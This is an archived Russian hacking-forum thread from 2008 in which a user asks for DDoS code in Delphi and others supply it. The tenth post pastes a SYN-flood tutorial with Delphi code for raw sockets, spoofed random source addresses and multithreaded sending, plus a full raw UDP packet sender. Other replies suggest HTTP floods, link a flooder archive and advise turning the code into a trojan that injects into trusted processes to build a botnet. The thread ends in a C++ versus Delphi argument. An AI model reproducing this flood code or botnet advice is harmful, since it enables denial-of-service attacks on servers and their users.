Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

DDoS в Delphi

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> DDoS в Delphi
Имя
Сообщение << Старые топики   Новые топики >>
DDoS в Delphi - 2008-03-07 22:13:58.883333   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
подкинте плз ссылку на какую небудь норм статью по ДДоСу в дельпи…или простой пример на сырц…заранее спс…
поиск недал норм результатов(((
Post #: 1
RE: DDoS в Delphi - 2008-03-08 03:24:14.490000   
NEFFboy

Сообщений: 204
Оценки: 0
Присоединился: 2007-03-18 11:11:02.040000
пиши бота который пингует, и ставь его не много тачек.

Post #: 2
RE: DDoS в Delphi - 2008-03-08 07:10:50.240000   
heaven7

Сообщений: 134
Оценки: 5
Присоединился: 2007-12-29 20:49:38.910000
писал такую прогу много лет назад =)
http://pascalhp.net/tmp/flooder.zip
Post #: 3
RE: DDoS в Delphi - 2008-03-08 12:30:02.310000   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
спс за сырц , ток это несовсем то , что мне нада((=(
Post #: 4
RE: DDoS в Delphi - 2008-03-08 12:34:57.660000   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
Юзай сырые сокеты (для SYN флуда с айпи спуфингом), пакеты строй вручную, а потом отсылай с маленьким интервалом … сорца дать немогу, еще в разработке ..

HTTP флуд - заваливаешь сервак кучей POST / GET запросов, есстесно забудь про всякие компоненты, только API.
Post #: 5
RE: DDoS в Delphi - 2008-03-08 12:37:33.540000   
sneG0K

Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:)
Post #: 6
RE: DDoS в Delphi - 2008-03-08 13:04:09.553333   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333

quote:

ORIGINAL: sneG0K

Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:)

Ну попробуй натравить на чела, с выделенным айпи и без НАТа, с фаером, ддос скажем из 100 компов .. или банально вылетит фаер от такого кол-ва пакетов или просто канал забьется ..
Post #: 7
RE: DDoS в Delphi - 2008-03-09 19:35:07.390000   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
= ()
Post #: 8
RE: DDoS в Delphi - 2008-03-09 20:21:41.006666   
sneG0K

Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666

quote:

ORIGINAL: blаcksun

quote:

ORIGINAL: sneG0K

Syn-flood это конешно хорошо, но сейчас многие фаерволлы уже проверяют подделку IP адреса. Хотя на обычного пользователя хватит больше чем…:)

Ну попробуй натравить на чела, с выделенным айпи и без НАТа, с фаером, ддос скажем из 100 компов .. или банально вылетит фаер от такого кол-ва пакетов или просто канал забьется ..

Хотя впринципе ты прав. Хотя наверно это всеже как-то зависит от прова. Пров сам может фильтровать пакеты, хотя поидее он этого делать не должен.
Post #: 9
RE: DDoS в Delphi - 2008-03-11 18:53:02.760000   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
Вот есть у мну статья :


Реализация DoS атак на Delphi. [Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься. [Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает. Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения. Клиент --------SYN----------&gt; Сервер Клиент &lt;----SYNACK--------- Сервер Клиент --------ACK----------&gt; Сервер Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение. TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить. Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети. [Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC. PHP код: //IP-заголовок iph = record ip_verlen: byte; //Версия и длина ip_tos: byte; //Приоритет пакета ip_len: word; // Длина заголовка ip_id: word; // id -пакета ip_offset: word; //Смещение ip_ttl: byte; //Время жизни ip_protocol: byte; //Протокол ip_checksum: word; //Контрольная сумма ip_saddr: longword; //Адрес отправителя ip_daddr: longword; //Адрес получателя end; //TCP-заголовок tcph = record th_sport: word; //Порт отправителя th_dport: word; //Порт получателя th_seq: longword; // Последовательный номер th_ack: longword; // Подтвержденный номер th_len: byte; // Длина заголовка th_flags: byte; // Кодовые биты th_win: word; // Окно th_checksum: word; // Контрольная сумма th_upr: word; // Кодовые биты end; Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать PHP код: WSAStartup(MAKEWORD(2,2),WSAdata) Теперь создаем «сырой» сокет PHP код: FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED); Далее устанавливаем опции соединения (включение заголовка и время отправки): PHP код: op:=1; setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op)); nTimeOver:=1000; setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver)); Далее следует большой код сборки пакета. //Собираем пакет //Пишем версию и длину ip-пакета ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword)); ipHeader.ip_len:=htons(Size); ipHeader.ip_tos:=0; //Приоритет пакета ipHeader.ip_id:=1; //id-пакета ipHeader.ip_offset:=0; //смещение ipHeader.ip_ttl:=128; //время жизни пакета ipHeader.ip_protocol:=IPPROTO_TCP; //протокол //Генерируем рандомный ip-адресс FromIp:=''; For j:=0 to 3 do begin RandIp:=random(255); Str(Randip,Buffer[j]); end; //lstrcat –функция для сцепки строк lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[3]); ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя //Заполняем TCP-заголовок TCPHeader.th_sport:=htons(Random(65000)); //Порт источника TCPHeader.th_dport:=htons(port); //Порт получателя TCPHeader.th_seq:=Random(4294967295); //Номер пакета TCPHeader.th_ack:=0; TCPHeader.th_len:=80; //SYN-пакет TCPHeader.th_flags:=2; TCPHeader.th_win:=htons(65535); TCPHeader.th_upr:=0; TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже //Расчет контрольной суммы DataPointer := @TCPIP[0]; FillChar(TCPIP, SizeOf(TCPIP), 0); Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr); Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr); DataPointer := pointer(integer(DataPointer) + 1); Inc(ChecksumSize); Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol); TcpHeaderLen := htons(sizeof(tcpHeader)); Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen)); ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader)); ChecksumSize := ChecksumSize + sizeof(tcpHeader); tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize); FillChar(TCPIP, sizeof(TCPIP), 0); DataPointer := @TCPIP[0]; Move(ipHeader, DataPointer^, sizeof(ipHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader)); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); После чего его нужно отправить For i:=0 to 10 do begin if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR) then Writeln('Send error') else Writeln('Send ok'); end; Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects PHP код: //Создаем потоки for i:=0 to (CountT-1) do Begin hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]); end; WaitForMultipleObjects(CountT,@hthread,true,INFINI TE); Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен. Материалы к статье (c) TanKisT


и код для отправки по UDP протоколу….


Используя данный исходник можно конструировать собственные пакеты содержащие внутри всё, что угодно. Можно самостоятельно указывать в пакете IP-адрес получателя и отправителя, порт назначения и т.д. Если Вы не знаете, что это такое, то лучше не эксперементировать. Единственный недостаток, то, что скорее всего данный пример будет работать только в Windows 2000. Так же исходник позволяет произвести SYN flood и IP spoofing. Необходимо зайти в систему под Администратором. { Raw Packet Sender using: Delphi + Winsock 2 Copyright (c) 2000 by E.J.Molendijk (xes@dds.nl) ------------------------------------------------ Перед использованием измените значения SrcIP+SrcPort+DestIP+DestPort на нужные! ------------------------------------------------ } unit main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, OleCtrls, Registry; const SrcIP = '123.123.123.1'; SrcPort = 1234; DestIP = '123.123.123.2'; DestPort = 4321; Max_Message = 4068; Max_Packet = 4096; type TPacketBuffer = array[0..Max_Packet-1] of byte; TForm1 = class(TForm) Button1: TButton; Memo1: TMemo; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure SendIt; end; // Заголовок IP пакета type T_IP_Header = record ip_verlen : Byte; ip_tos : Byte; ip_totallength : Word; ip_id : Word; ip_offset : Word; ip_ttl : Byte; ip_protocol : Byte; ip_checksum : Word; ip_srcaddr : LongWord; ip_destaddr : LongWord; end; // Заголовок UDP пакета type T_UDP_Header = record src_portno : Word; dst_portno : Word; udp_length : Word; udp_checksum : Word; end; // Некоторые объявления типов для Winsock 2 u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; SunB = packed record s_b1, s_b2, s_b3, s_b4: u_char; end; SunW = packed record s_w1, s_w2: u_short; end; in_addr = record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; TInAddr = in_addr; Sockaddr_in = record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; TSockAddr = Sockaddr_in; TSocket = u_int; const WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; type PWSAData = ^TWSAData; WSAData = record // !!! also WSDATA wVersion: Word; wHighVersion: Word; szDescription: array[0..WSADESCRIPTION_LEN] of Char; szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; iMaxSockets: Word; iMaxUdpDg: Word; lpVendorInfo: PChar; end; TWSAData = WSAData; // Определяем необходимые функции winsock 2 function closesocket(s: TSocket): Integer; stdcall; function socket(af, Struct, protocol: Integer): TSocket; stdcall; function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr; tolen: Integer): Integer; stdcall;{} function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer; stdcall; function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr } function htons(hostshort: u_short): u_short; stdcall; function WSAGetLastError: Integer; stdcall; function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; function WSACleanup: Integer; stdcall; const AF_INET = 2; // internetwork: UDP, TCP, etc. IP_HDRINCL = 2; // включаем заголовок IP пакета SOCK_RAW = 3; // интерфейс raw-протокола IPPROTO_IP = 0; // dummy for IP IPPROTO_TCP = 6; // tcp IPPROTO_UDP = 17; // user datagram protocol IPPROTO_RAW = 255; // raw IP пакет INVALID_SOCKET = TSocket(not(0)); SOCKET_ERROR = -1; var Form1: TForm1; implementation // Импортируем функции Winsock 2 const WinSocket = 'WS2_32.DLL'; function closesocket; external winsocket name 'closesocket'; function socket; external winsocket name 'socket'; function sendto; external winsocket name 'sendto'; function setsockopt; external winsocket name 'setsockopt'; function inet_addr; external winsocket name 'inet_addr'; function htons; external winsocket name 'htons'; function WSAGetLastError; external winsocket name 'WSAGetLastError'; function WSAStartup; external winsocket name 'WSAStartup'; function WSACleanup; external winsocket name 'WSACleanup'; {$R *.DFM} // // Function: checksum // // Description: // This function calculates the 16-bit one's complement sum // for the supplied buffer // function CheckSum(var Buffer; Size : integer) : Word; type TWordArray = array[0..1] of Word; var ChkSum : LongWord; i : Integer; begin ChkSum := 0; i := 0; while Size &gt; 1 do begin ChkSum := ChkSum + TWordArray(Buffer)[i]; inc(i); Size := Size - SizeOf(Word); end; if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]); ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF); ChkSum := ChkSum + (Chksum shr 16); Result := Word(ChkSum); end; procedure BuildHeaders(FromIP : string; iFromPort : Word; ToIP : string; iToPort : Word; StrMessage : string; var Buf : TPacketBuffer; var remote : TSockAddr; var iTotalSize: Word); var dwFromIP : LongWord; dwToIP : LongWord; iIPVersion : Word; iIPSize : Word; ipHdr : T_IP_Header; udpHdr : T_UDP_Header; iUdpSize : Word; iUdpChecksumSize : Word; cksum : Word; Ptr : ^Byte; procedure IncPtr(Value : Integer); begin ptr := pointer(integer(ptr) + Value); end; begin // преобразуем ip адреса dwFromIP := inet_Addr(PChar(FromIP)); dwToIP := inet_Addr(PChar(ToIP)); // Инициализируем заголовок IP пакета // iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage); iIPVersion := 4; iIPSize := sizeof(ipHdr) div sizeof(LongWord); // // IP version goes in the high order 4 bits of ip_verlen. The // IP header length (in 32-bit words) goes in the lower 4 bits. // ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize; ipHdr.ip_tos := 0; // IP type of service ipHdr.ip_totallength := htons(iTotalSize); // Total packet len ipHdr.ip_id := 0; // Unique identifier: set to 0 ipHdr.ip_offset := 0; // Fragment offset field ipHdr.ip_ttl := 128; // время жизни пакета ipHdr.ip_protocol := $11; // Protocol(UDP) ipHdr.ip_checksum := 0 ; // IP checksum ipHdr.ip_srcaddr := dwFromIP; // Source address ipHdr.ip_destaddr := dwToIP; // Destination address // // Инициализируем заголовок UDP пакета // iUdpSize := sizeof(udpHdr) + length(strMessage); udpHdr.src_portno := htons(iFromPort) ; udpHdr.dst_portno := htons(iToPort) ; udpHdr.udp_length := htons(iUdpSize) ; udpHdr.udp_checksum := 0 ; // // Build the UDP pseudo-header for calculating the UDP checksum. // The pseudo-header consists of the 32-bit source IP address, // the 32-bit destination IP address, a zero byte, the 8-bit // IP protocol field, the 16-bit UDP length, and the UDP // header itself along with its data (padded with a 0 if // the data is odd length). // iUdpChecksumSize := 0; ptr := @buf[0]; FillChar(Buf, SizeOf(Buf), 0); Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr)); IncPtr(SizeOf(ipHdr.ip_srcaddr)); iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr); Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr)); IncPtr(SizeOf(ipHdr.ip_destaddr)); iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr); IncPtr(1); Inc(iUdpChecksumSize); Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol)); IncPtr(sizeof(ipHdr.ip_protocol)); iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol); Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length)); IncPtr(sizeof(udpHdr.udp_length)); iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length); move(udpHdr, ptr^, sizeof(udpHdr)); IncPtr(sizeof(udpHdr)); iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr); Move(StrMessage[1], ptr^, Length(strMessage)); IncPtr(Length(StrMessage)); iUdpChecksumSize := iUdpChecksumSize + length(strMessage); cksum := checksum(buf, iUdpChecksumSize); udpHdr.udp_checksum := cksum; // // Now assemble the IP and UDP headers along with the data // so we can send it // FillChar(Buf, SizeOf(Buf), 0); Ptr := @Buf[0]; Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr)); Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr)); Move(StrMessage[1], ptr^, length(StrMessage)); // Apparently, this SOCKADDR_IN structure makes no difference. // Whatever we put as the destination IP addr in the IP header // is what goes. Specifying a different destination in remote // will be ignored. // remote.sin_family := AF_INET; remote.sin_port := htons(iToPort); remote.sin_addr.s_addr := dwToIP; end; procedure TForm1.SendIt; var sh : TSocket; bOpt : Integer; ret : Integer; Buf : TPacketBuffer; Remote : TSockAddr; Local : TSockAddr; iTotalSize : Word; wsdata : TWSAdata; begin // Startup Winsock 2 ret := WSAStartup($0002, wsdata); if ret&lt;&gt;0 then begin memo1.lines.add('WSA Startup failed.'); exit; end; with memo1.lines do begin add('WSA Startup:'); add('Desc.: '+wsData.szDescription); add('Status: '+wsData.szSystemStatus); end; try // Создаём сокет sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (sh = INVALID_SOCKET) then begin memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError)); exit; end; Memo1.lines.add('Socket Handle = '+IntToStr(sh)); // Option: Header Include bOpt := 1; ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt)); if ret = SOCKET_ERROR then begin Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError)); exit; end; // строим пакет BuildHeaders( SrcIP, SrcPort, DestIP, DestPort, 'THIS IS A TEST PACKET', Buf, Remote, iTotalSize ); // Отправляем пакет ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote)); if ret = SOCKET_ERROR then Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError)) else Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.'); // Закрываем сокет CloseSocket(sh); finally // Закрываем Winsock 2 WSACleanup; end; end; procedure TForm1.Button1Click(Sender: TObject); begin SendIt; end; end. Источник - Проект "Delphi World" © Выпуск 2002 - 2004 Автор проекта: Акулов Николай


чет неполучается переделать на ТРС протокол= (((
мож кто знает как?
Post #: 10
RE: DDoS в Delphi - 2008-03-12 23:57:11.026666   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
ау……
Post #: 11
RE: DDoS в Delphi - 2008-03-13 00:20:03.506666   
sneG0K

Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
Я не рассматривал второй сорц, но в первом ошибок дофига и больше… тупо синтаксических, и еще всяких… та цела куча левых переменных, которые не указаны… короче первый сорц просто так работать не будет:)
Post #: 12
RE: DDoS в Delphi - 2008-03-13 03:29:07.720000   
furiousangel

Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
http://hackedpro.org/index.php?name=Pages&op=page&pid=12
Post #: 13
RE: DDoS в Delphi - 2008-03-13 16:21:45.936666   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
хм…эта статья выше есть….
Post #: 14
RE: DDoS в Delphi - 2008-03-13 19:04:47.936666   
furiousangel

Сообщений: 1116
Оценки: 0
Присоединился: 2005-05-28 06:31:47
Так в чем тогда проблема то??? Добавляешь модуль для централизованого управления, переносишь все это счастье в асм (ха-ха-ха) и получаешь троя, который мигом добавит машину в твой ботнет….. Правда надо поработать над внедрением в доверенные процессы (ты же не хочешь чтоб твой трой от своего имени делал грязные делишки:D) и ты сможешь построить нехилый ботнет…….
Post #: 15
RE: DDoS в Delphi - 2008-03-13 19:13:53.386666   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
дело в том шо в статье много ошибок…я дельпи токо 2 месяца изучаю….
…З.ы: у кавото есть инфа по компоненту WinSock2???
…з.ы2:на асме неумею кодить…= ((
Post #: 16
RE: DDoS в Delphi - 2008-03-13 19:33:57.643333   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Тогда не берись за такие задания. Сначала научись - потом пиши )

Человека, который только научился плавать не возьмут в олимпийскую сборную по плаванию.
Post #: 17
RE: DDoS в Delphi - 2008-03-13 20:13:07.640000   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
вот я тут и написал шоб научится= )
Post #: 18
RE: DDoS в Delphi - 2008-03-13 20:45:07.580000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Надо изучать от простого к сложному. Напиши сначала сетевой чат. Да и кто-ж будет атакующие проги на дэлфи писать? +). Правда какой-нибуть "аццкий гуру" может. Типа как вирус "нешта".
Post #: 19
RE: DDoS в Delphi - 2008-03-13 20:56:17.013333   
TPOYAN

Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
гыгы….писал уже чат= )
Post #: 20
RE: DDoS в Delphi - 2008-03-13 21:06:02.560000   
sneG0K

Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
Ой _SaZ_ что то ты не того наговорил:D Писать ботнеты на дельфи это не изварещнство… Если на дельфи извращенство, то тогда и на С++ извращенство!!!
Почему то многие считают, что дельфи плохой язык. Чем же тогда интереснее кодить на С++, если он использует туже библиотеку винсока и туже винапи… Размер?! так и на дельфи можно написать троя маленького размера? Иль все считают, что написание троянов в дельфи заканчивается на ServerSocket и ClientSocket?1! Короче… это только мое ИМХО и прозьба на него не обращать внимания:)
Post #: 21
RE: DDoS в Delphi - 2008-03-14 10:24:55.333333   
RasenHerz

Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
quote:

Ой _SaZ_ что то ты не того наговорил Писать ботнеты на дельфи это не изварещнство… Если на дельфи извращенство, то тогда и на С++ извращенство!!!
Почему то многие считают, что дельфи плохой язык. Чем же тогда интереснее кодить на С++, если он использует туже библиотеку винсока и туже винапи… Размер?! так и на дельфи можно написать троя маленького размера? Иль все считают, что написание троянов в дельфи заканчивается на ServerSocket и ClientSocket?1! Короче… это только мое ИМХО и прозьба на него не обращать внимания

не будем флеймить здесь, но все же =))) :

1)можно писать ведь и в лине, где winsock и winapi в помине нет.
2)Си++ (англ. C++) — компилируемый строго типизированный язык программирования общего назначения. Поддерживает разные парадигмы программирования: процедурную, обобщённую, функциональную; наибольшее внимание уделено поддержке объектно-ориентированного программирования.

Delphi (Де́льфи) — среда разработки, использует язык программирования Delphi (начиная с 7 версии язык в среде именуется Delphi, ранее - Object Pascal), разработанный фирмой Borland и изначально реализованный в её пакете Borland Delphi, от которого и получил в 2003 году своё нынешнее название. Object Pascal - по сути является наследником языка Pascal с объектно-ориентированными расширениями.
Изначально среда разработки была предназначена исключительно для разработки приложений Microsoft Windows.
3) Языки создавались даже для разных целей - C/C++ - для кроссплатформенного системного программирования; Delphi - изначально "под форточки".
Post #: 22
RE: DDoS в Delphi - 2008-03-14 13:21:29.240000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Лично мне понятнее, как работает c++ компилер. Я знаю, как работает препроцессор, и что приблизительно получится в .exe на выходе. А вот в дэлфи - хз. К тому же на си можно поизвращаться (оффтоп), хотя не многие знают, почему компилятор это проглатывает:
//... &nbsp;&nbsp;&nbsp; printf("%с",5["preved medved"]); //...
Post #: 23
RE: DDoS в Delphi - 2008-03-14 18:06:56.280000   
mofo

Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
Внимание оффтоп!
quote:

наибольшее внимание уделено поддержке объектно-ориентированного программирования.
Да ваш любимый C++ даже не является обьектно-ориентированным языком по сути - слишком много в нем нет. Про остальные кривости языка я промолчу.
Post #: 24
RE: DDoS в Delphi - 2008-03-14 19:53:39.450000   
RasenHerz

Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
quote:

Да ваш любимый C++ даже не является обьектно-ориентированным языком по сути - слишком много в нем нет. Про остальные кривости языка я промолчу.

ну так назови что есть в Delphi, но чего нет в С++! я жду… =)
Post #: 25
RE: DDoS в Delphi - 2008-03-14 19:55:51.640000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Свойств… хотя, имхо, нафиг надо они. C++ the best ;)
Post #: 26
RE: DDoS в Delphi - 2008-03-14 20:13:40.426666   
RasenHerz

Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
quote:

Свойств… хотя, имхо, нафиг надо они. C++ the best ;)

свойства - извращение Microsoft и их последователей =) , что мешает создать в классе функции типа width(), height()? как это сделали парни из TrollTech в своем супер популярном проекте Qt? ничего! большинству юзеров, самоучек и т.д. и т.п. просто лень писать "(" и ")" вот и говорят С++ - ни черта не объектно-ориентированный, потому что эти скобки надо ставить; по-моему такие доводы глупы =)))…. С++ прекрасно оснащен ОО возможностями: сокрытие информации, наследование, полиморфизм, перегрузка функций(в том числе операторных), классы и т.д.
Post #: 27
RE: DDoS в Delphi - 2008-03-15 12:09:30.076666   
mofo

Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
quote:

ну так назови что есть в Delphi, но чего нет в С++! я жду… =)
Нет интерфейсов, нет делегирования, нет различия абстрактных типов данных и обьектов. Зато есть никому не нужное множественное наследование ) Про Delphi мы щас не говорим - он тоже не совершенен, но хотя бы получше чем C++.
Post #: 28
RE: DDoS в Delphi - 2008-03-15 12:30:55.316666   
sneG0K

Сообщений: 120
Оценки: 0
Присоединился: 2008-01-12 20:15:11.396666
Епт, что вы спорите?! Народ кончаем оффтопить.

С++ как и дельфи не идеальны. Дельфи есть и под никсы (Куликс) и он практически ничем не уступает С++. У каждого языка свои преимущества и недостатки. Я пока учу дельфи, потому, что с ним легче выучить английский:D Но С++ тоже мощный язык. Хотя чего тут говорить - АСМ всему голова:)
Post #: 29
RE: DDoS в Delphi - 2008-03-15 15:11:51.240000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
quote:

ORIGINAL: mofo
Нет интерфейсов, нет делегирования, нет различия абстрактных типов данных и обьектов. Зато есть никому не нужное множественное наследование ) Про Delphi мы щас не говорим - он тоже не совершенен, но хотя бы получше чем C++.

Нет интерфейсов - да, недостаток, но он обходится за счёт множественного наследования и виртуальных функций.
Нет делегирования - а что тогда по-твоему указатели на функции / методы?
Нет различия абстрактных типов данных и объектов - а кому оно надо?
В плюсах есть RTTI.

И ещё раз - в C++ всегда понятно, как поведёт себя компилятор. Нету "хитро(_!_)ой" работы со строками, в отличие от дэлфи, где можно легко (особенно новичку) запутаться, где происходит физическое копирование строки, а где - копирование ссылки. В С++ что напишешь - то и будет. Потом, если уж дэлфисты так гордятся своим форматом строк, то почему они под счётчик дескрипторов отвели только 1 байт? У меня были случаи, когда этого явно не хватало и опять же - хз, что в таком случае сделает дэлфи.
Post #: 30
RE: DDoS в Delphi - 2008-03-15 18:33:48.400000   
mofo

Сообщений: 10
Оценки: 0
Присоединился: 2008-03-10 10:09:50.693333
quote:

